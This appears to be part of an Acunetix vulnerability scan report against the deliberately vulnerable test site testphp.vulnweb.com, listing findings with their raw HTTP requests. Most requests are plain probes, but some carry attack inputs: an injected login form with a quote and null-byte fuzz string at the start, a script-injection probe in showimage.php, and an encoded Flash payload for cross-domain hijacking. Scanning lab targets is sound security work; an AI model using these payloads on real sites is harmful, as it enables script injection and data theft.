<br>%0D%0A%09<form%20name="loginform"%20method="post"%20action="userinfo.php">%0D%0A%09<table%20cellpadding="4"%20cellspacing="1">%0D%0A%09%09<tr><td>Username%20:%20</td><td>
<input%20name="uname"%20type="text"%20size="20"%20style="width:120px;"></td>
</tr>%0D%0A%09%09<tr><td>Password%20:%20</td><td>
<input%20name="pass"%20type="password"%20size="20"%20style="width:120px;"></td>
</tr>%0D%0A%09%09<tr><td%20colspan="2"%20align="right">
<input%20type="submit"%20value="login"%20style="width:75px;"></td>
</tr>%0D%0A%09</table>%0D%0A%09</form>%0D%0A%20%20%09</div>&ucc=777&uemail=matheusdaocu%40gmail.com&update=update&uphone=%2B555%20666666666&urname=12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'
```

Backup files	
Affected item	/index.bak
Affected parameter	

Request

```
GET /index.bak HTTP/1.1

Range: bytes=0-99999

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

Backup files	
Affected item	/index.zip
Affected parameter	

Request

```
GET /index.zip HTTP/1.1

Range: bytes=0-99999

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

Cross domain data hijacking	
Affected item	/hpp/params.php
Affected parameter	p

Request

```
GET /hpp/params.php?
p=CWS%07%0E000x%9C=%8D1N%C3%40%10E%DF%AE%8D%BDI%08)%D3%40%1D%A0%A2%05%09%11%89HiP"%05D%8B
F%8E%0BG%26%1B%D9%8E%117%A0%A2%DC%82%8A%1Br%04X;!S%8C%FE%CC%9B%F9%FF%AA%CB7Jq%AF%7F%ED%F2
.%F8%01>%9E%18p%C9c%9Al%8B%ACzG%F2%DC%BEM%EC%ABdkj%1E%AC%2C%9F%A5(%B1%EB%89T%C2Jj)%93"%DB
T7%24%9C%8FH%CBD6)%A3%0Bx)%AC%AD%D8%92%FB%1F%5C%07C%AC%7C%80Q%A7Nc%F4b%E8%FA%98%20b_%26%1
C%9F5%20h%F1%D1g%0F%14%C1%0A]s%8D%8B0Q%A8L<%9B6%D4L%BD_%A8w%7E%9D[%17%F3/[%DCm{%EF%CB%EF%
E6%8D:n-%FB%B3%C3%DD.%E3d1d%EC%C7%3F6%CD0%09 HTTP/1.1

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

Cross site scripting (content-sniffing)	
Affected item	/showimage.php

Affected parameter	file

Request

```
GET /showimage.php?file=./pictures/1.jpg'"()%26%25<acx><ScRiPt%20>R56e(9502)
</ScRiPt>&size=160 HTTP/1.1

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

Directory listing (verified)	
Affected item	/.idea/
Affected parameter	

Request

```
GET /.idea/ HTTP/1.1

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

Directory listing (verified)	
Affected item	/.idea/scopes/
Affected parameter	

Request

```
GET /.idea/scopes/ HTTP/1.1

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

Directory listing (verified)	
Affected item	/_mmServerScripts/
Affected parameter	
Request	

```
GET /_mmServerScripts/ HTTP/1.1

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

Directory listing (verified)	
Affected item	/admin/
Affected parameter	
Request	

```
GET /admin/ HTTP/1.1

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

Directory listing (verified)	
Affected item	/Connections/
Affected parameter	
Request	

```
GET /Connections/ HTTP/1.1

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

Directory listing (verified)	
Affected item	/CVS/
Affected parameter	
Request	

```
GET /CVS/ HTTP/1.1

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

Directory listing (verified)	
Affected item	/Flash/
Affected parameter	
Request	

```
GET /Flash/ HTTP/1.1

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

Directory listing (verified)	
Affected item	/images/
Affected parameter	
Request	

```
GET /images/ HTTP/1.1

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

Directory listing (verified)	
Affected item	/Mod_Rewrite_Shop/images/
Affected parameter	
Request	

```
GET /Mod_Rewrite_Shop/images/ HTTP/1.1

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

Directory listing (verified)	
Affected item	/pictures/
Affected parameter	
Request	

```
GET /pictures/ HTTP/1.1

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

Directory listing (verified)	
Affected item	/Templates/
Affected parameter	
Request	

```
GET /Templates/ HTTP/1.1

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

Directory listing (verified)	
Affected item	/wvstests/
Affected parameter	
Request	

```
GET /wvstests/ HTTP/1.1

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

Directory listing (verified)	
Affected item	/wvstests/pmwiki_2_1_19/
Affected parameter	
Request	

```
GET /wvstests/pmwiki_2_1_19/ HTTP/1.1

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

Directory listing (verified)	
Affected item	/wvstests/pmwiki_2_1_19/scripts/
Affected parameter	
Request	

```
GET /wvstests/pmwiki_2_1_19/scripts/ HTTP/1.1

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

Error message on page	
Affected item	/AJAX/infoartist.php
Affected parameter	
Request	

```
GET /AJAX/infoartist.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest;mycookie=3

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

Error message on page	
Affected item	/AJAX/infocateg.php
Affected parameter	
Request	

```
GET /AJAX/infocateg.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest;mycookie=3

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

Error message on page	
Affected item	/AJAX/infotitle.php
Affected parameter	

Request

```
GET /AJAX/infotitle.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest;mycookie=3

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

Error message on page	
Affected item	/Connections/DB_Connection.php
Affected parameter	

Request

```
GET /Connections/DB_Connection.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

Error message on page	
Affected item	/pictures/path-disclosure-unix.html
Affected parameter	

Request

```
GET /pictures/path-disclosure-unix.html HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

Error message on page	
Affected item	/secured/database_connect.php

Affected parameter	
Request	

```
GET /secured/database_connect.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

HTML form without CSRF protection	
Affected item	Web Server
Affected parameter	
Request	

```
GET / HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: filelist;aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

HTML form without CSRF protection

Affected item	/404.php
Affected parameter	

Request

```
GET /404.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

HTML form without CSRF protection	
Affected item	/artists.php
Affected parameter	

Request

```
GET /artists.php HTTP/1.1

Referer: http://testphp.vulnweb.com/

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Cookie: login=test%2Ftest

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

Connection: Keep-alive
```

HTML form without CSRF protection	
Affected item	/cart.php
Affected parameter	
Request	

```
POST /cart.php HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Content-Length: 19

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive


addcart=1&price=500
```

HTML form without CSRF protection	
Affected item	/categories.php
Affected parameter	
Request	

```
GET /categories.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

HTML form without CSRF protection	
Affected item	/comment.php
Affected parameter	fComment
Request	

```
GET /comment.php?aid=1 HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

HTML form without CSRF protection	
Affected item	/disclaimer.php
Affected parameter	

Request

```
GET /disclaimer.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

HTML form without CSRF protection	
Affected item	/guestbook.php
Affected parameter	

Request

```
GET /guestbook.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

HTML form without CSRF protection	
Affected item	/guestbook.php

Affected parameter	faddentry

Request

```
GET /guestbook.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

HTML form without CSRF protection

Affected item	/hpp/
Affected parameter	

Request

```
GET /hpp/?pp=12 HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

HTML form without CSRF protection

Affected item	/index.php
Affected parameter	

Request

```
GET /index.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

HTML form without CSRF protection	
Affected item	/listproducts.php
Affected parameter	

Request

```
GET /listproducts.php?cat=1 HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

HTML form without CSRF protection	
Affected item	/login.php
Affected parameter	
Request	

```
GET /login.php HTTP/1.1

Host: testphp.vulnweb.com

Pragma: no-cache

Cache-Control: no-cache

Upgrade-Insecure-Requests: 1

X-WVS-ID: Acunetix-LSR/65535

Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,app
lication/signed-exchange;v=b3

Referer: http://testphp.vulnweb.com/

Accept-Encoding: gzip,deflate

Accept-Language: en-US,en;q=0.9

Connection: keep-alive

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
```

HTML form without CSRF protection	
Affected item	/login.php
Affected parameter	loginform
Request	

```
GET /login.php HTTP/1.1

Host: testphp.vulnweb.com

Pragma: no-cache

Cache-Control: no-cache

Upgrade-Insecure-Requests: 1

X-WVS-ID: Acunetix-LSR/65535

Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,app
lication/signed-exchange;v=b3

Referer: http://testphp.vulnweb.com/

Accept-Encoding: gzip,deflate

Accept-Language: en-US,en;q=0.9

Connection: keep-alive

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
```

HTML form without CSRF protection	
Affected item	/product.php
Affected parameter	

Request

```
GET /product.php?pic=1 HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

HTML form without CSRF protection	
Affected item	/product.php
Affected parameter	f_addcart
Request	

```
GET /product.php?pic=1 HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

HTML form without CSRF protection	
Affected item	/search.php
Affected parameter	
Request	

```
POST /search.php?test=query HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Content-Length: 25

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive


goButton=go&searchFor=the
```

HTML form without CSRF protection	
Affected item	/signup.php
Affected parameter	

Request

```
GET /signup.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

HTML form without CSRF protection	
Affected item	/signup.php
Affected parameter	form1
Request	

```
GET /signup.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

HTML form without CSRF protection	
Affected item	/Templates/main_dynamic_template.dwt.php
Affected parameter	
Request	

```
GET /Templates/main_dynamic_template.dwt.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

HTML form without CSRF protection	
Affected item	/userinfo.php
Affected parameter	
Request	

```
POST /userinfo.php HTTP/1.1

Host: testphp.vulnweb.com

Content-Length: 20

Pragma: no-cache

Cache-Control: no-cache

Origin: http://testphp.vulnweb.com

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded

X-WVS-ID: Acunetix-LSR/65535

Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,app
lication/signed-exchange;v=b3

Referer: http://testphp.vulnweb.com/login.php

Accept-Encoding: gzip,deflate

Accept-Language: en-US,en;q=0.9

Connection: keep-alive

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0



uname=test&pass=test
```

HTML form without CSRF protection	
Affected item	/userinfo.php
Affected parameter	form1
Request	

```
POST /userinfo.php HTTP/1.1

Host: testphp.vulnweb.com

Content-Length: 20

Pragma: no-cache

Cache-Control: no-cache

Origin: http://testphp.vulnweb.com

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded

X-WVS-ID: Acunetix-LSR/65535

Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,app
lication/signed-exchange;v=b3

Referer: http://testphp.vulnweb.com/login.php

Accept-Encoding: gzip,deflate

Accept-Language: en-US,en;q=0.9

Connection: keep-alive

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0



uname=test&pass=test
```

HTTP parameter pollution	
Affected item	/hpp/
Affected parameter	pp
Request	

```
GET /hpp/?pp=12%26n925620=v920839 HTTP/1.1

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

Insecure crossdomain.xml file

Affected item	Web Server
Affected parameter	

Request

```
GET /crossdomain.xml HTTP/1.1

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

JetBrains .idea project directory

Affected item	Web Server
Affected parameter	

Request

```
GET /.idea/workspace.xml HTTP/1.1

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

PHP allow_url_fopen enabled (verified)

Affected item	/secured/phpinfo.php
Affected parameter	

Request

```
GET /secured/phpinfo.php HTTP/1.1

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

PHP errors enabled (verified)	
Affected item	/secured/phpinfo.php
Affected parameter	
Request	

```
GET /secured/phpinfo.php HTTP/1.1

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

PHP errors enabled (verified)	
Affected item	Web Server
Affected parameter	
Request	

PHP open_basedir is not set (verified)	
Affected item	/secured/phpinfo.php
Affected parameter	
Request	

```
GET /secured/phpinfo.php HTTP/1.1

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

